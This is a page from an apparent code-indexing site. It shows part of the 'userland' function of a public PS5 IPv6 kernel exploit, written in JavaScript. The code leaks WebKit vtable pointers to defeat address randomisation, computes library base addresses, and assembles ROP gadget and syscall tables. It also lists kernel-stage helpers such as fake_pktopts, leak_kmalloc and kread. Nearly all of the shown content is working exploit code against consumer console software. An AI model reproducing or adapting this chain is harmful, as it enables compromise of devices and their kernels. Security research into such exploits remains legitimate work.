MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / userland

Function userland

document/en/ps5/exploit.js:61–1532  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

59}
60
61async function userland() {
62 p.pre_chain = pre_chain;
63 p.launch_chain = launch_chain;
64 p.malloc = malloc;
65 p.malloc_dump = malloc_dump;
66 p.stringify = stringify;
67 p.array_from_address = array_from_address;
68 p.readstr = readstr;
69 p.writestr = writestr;
70
71 //pointer to vtable address
72 let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
73 //address of vtable
74 let textAreaVtable = p.read8(textAreaVtPtr);
75 //use address of 1st entry (in .text) to calculate libSceNKWebKitBase
76 libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
77
78 libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));
79 libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);
80
81 libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_guard_import));
82 libKernelBase.sub32inplace(OFFSET_lk___stack_chk_guard);
83
84 for (let gadget in wk_gadgetmap) {
85 gadgets[gadget] = libSceNKWebKitBase.add32(wk_gadgetmap[gadget]);
86 }
87 for (let sysc in syscall_map) {
88 syscalls[sysc] = libKernelBase.add32(syscall_map[sysc]);
89 }
90
91 function malloc_dump(sz) {
92 let backing;
93 backing = new Uint8Array(sz);
94 nogc.push(backing);
95 let ptr = p.read8(p.leakval(backing).add32(0x10));
96 ptr.backing = backing;
97 return ptr;
98 }
99
100 function malloc(sz, type = 4) {
101 let backing;
102 if (type == 1) {
103 backing = new Uint8Array(0x10000 + sz);
104 } else if (type == 2) {
105 backing = new Uint16Array(0x10000 + sz);
106 } else if (type == 4) {
107 backing = new Uint32Array(0x10000 + sz);
108 }
109 nogc.push(backing);
110 let ptr = p.read8(p.leakval(backing).add32(0x10));
111 ptr.backing = backing;
112 return ptr;
113 }
114
115 function array_from_address(addr, size) {
116 let og_array = new Uint32Array(0x1000);
117 let og_array_i = p.leakval(og_array).add32(0x10);
118

Callers 1

run_haxFunction · 0.85

Calls 15

spawn_threadMethod · 0.95
wait_for_workerFunction · 0.85
find_workerFunction · 0.85
atonFunction · 0.85
htonsFunction · 0.85
build_addrFunction · 0.85
printFunction · 0.85
logFunction · 0.85
fake_pktoptsFunction · 0.85
leak_kmallocFunction · 0.85
find_victim_sockFunction · 0.85
kreadFunction · 0.85

Tested by

no test coverage detected